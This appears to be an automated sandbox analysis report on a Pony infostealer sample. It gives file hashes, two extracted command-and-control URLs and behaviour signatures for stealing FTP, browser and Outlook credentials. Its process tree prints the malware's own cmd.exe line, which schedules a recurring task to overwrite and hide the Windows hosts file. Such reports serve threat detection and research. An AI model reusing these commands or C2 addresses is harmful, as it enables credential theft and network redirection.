Analysis
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max time kernel
135s -
max time network
107s -
platform
windows10-2004_x64 -
resource
win10v2004-20240910-en -
resource tags
arch:x64arch:x86image:win10v2004-20240910-enlocale:en-usos:windows10-2004-x64system -
submitted
04-10-2024 18:21
Static task
static1
Behavioral task
behavioral1
Sample
1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe
Resource
win10v2004-20240910-en
General
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Target
1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe
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Size
95KB
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MD5
1472f480c841ac3e1213f36cca8aeaa0
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SHA1
4bcc081c2c562dba713cfff0fe75337d7ce9f11f
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SHA256
67bc1bc0996ce29d07a2cde73b5a142f8739e3cb837217888dc700f64e8160d0
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SHA512
bfc60b5bb73b578f22a389cacf3eced4a15361a09d0f1c37414b9e9490ad0a4e7aa8f9985b5752f180c9590f513e12d66c773e34b46557504bdfee32c55c6a71
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SSDEEP
1536:FrmgWmEqjjPmMF2s2/b69Kzi3FI2Cq4yfCiDAV384O4hmtKUgVJOOF15F1nqze:FrGmHjjPzk3Sy2gyfoS4OHtmqcTy
Malware Config
Extracted
pony
http://bdujyr.pw:4915/way/like.php
http://bdhkmts.pw:4915/way/like.php
Signatures
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Drops file in Drivers directory 3 IoCs
description ioc Process File created C:\Windows\system32\drivers\etc\tmp.tmp 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Control Panel\International\Geo\Nation 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
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Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe -
Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
pid Process 4112 cmd.exe 4780 at.exe -
resource yara_rule behavioral2/memory/1568-2-0x0000000000400000-0x0000000000422000-memory.dmp upx behavioral2/memory/1568-4-0x0000000000400000-0x0000000000422000-memory.dmp upx behavioral2/memory/1568-8-0x0000000000400000-0x0000000000422000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language at.exe -
Suspicious use of AdjustPrivilegeToken 48 IoCs
description pid Process Token: SeImpersonatePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeTcbPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeBackupPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeRestorePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeImpersonatePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeTcbPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeBackupPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeRestorePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeImpersonatePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeTcbPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeBackupPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeRestorePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeImpersonatePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeTcbPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeBackupPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeRestorePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeImpersonatePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeTcbPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeBackupPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeRestorePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeImpersonatePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeTcbPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeChangeNotifyPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeCreateTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeBackupPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeRestorePrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeIncreaseQuotaPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe Token: SeAssignPrimaryTokenPrivilege 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 1568 wrote to memory of 4112 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe 94 PID 1568 wrote to memory of 4112 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe 94 PID 1568 wrote to memory of 4112 1568 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe 94 PID 4112 wrote to memory of 4780 4112 cmd.exe 96 PID 4112 wrote to memory of 4780 4112 cmd.exe 96 PID 4112 wrote to memory of 4780 4112 cmd.exe 96 -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-2629364133-3182087385-364449604-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook 1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\1472f480c841ac3e1213f36cca8aeaa0_JaffaCakes118.exe"1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_win_path
PID:1568 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy C:\Windows\system32\drivers\etc\hosts C:\Windows\system32\drivers\etc\hosts.sam /Y && at 18:24:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240678015aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"2⤵
- Drops file in Drivers directory
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4112 -
C:\Windows\SysWOW64\at.exeat 18:24:00 /every:M,T,W,Th,F,S,Su cmd.exe "/c attrib -H C:\Windows\system32\drivers\etc\hosts && copy C:\Users\Admin\AppData\Local\Temp\240678015aq C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts"3⤵
- Hide Artifacts: Hidden Files and Directories
- System Location Discovery: System Language Discovery
PID:4780
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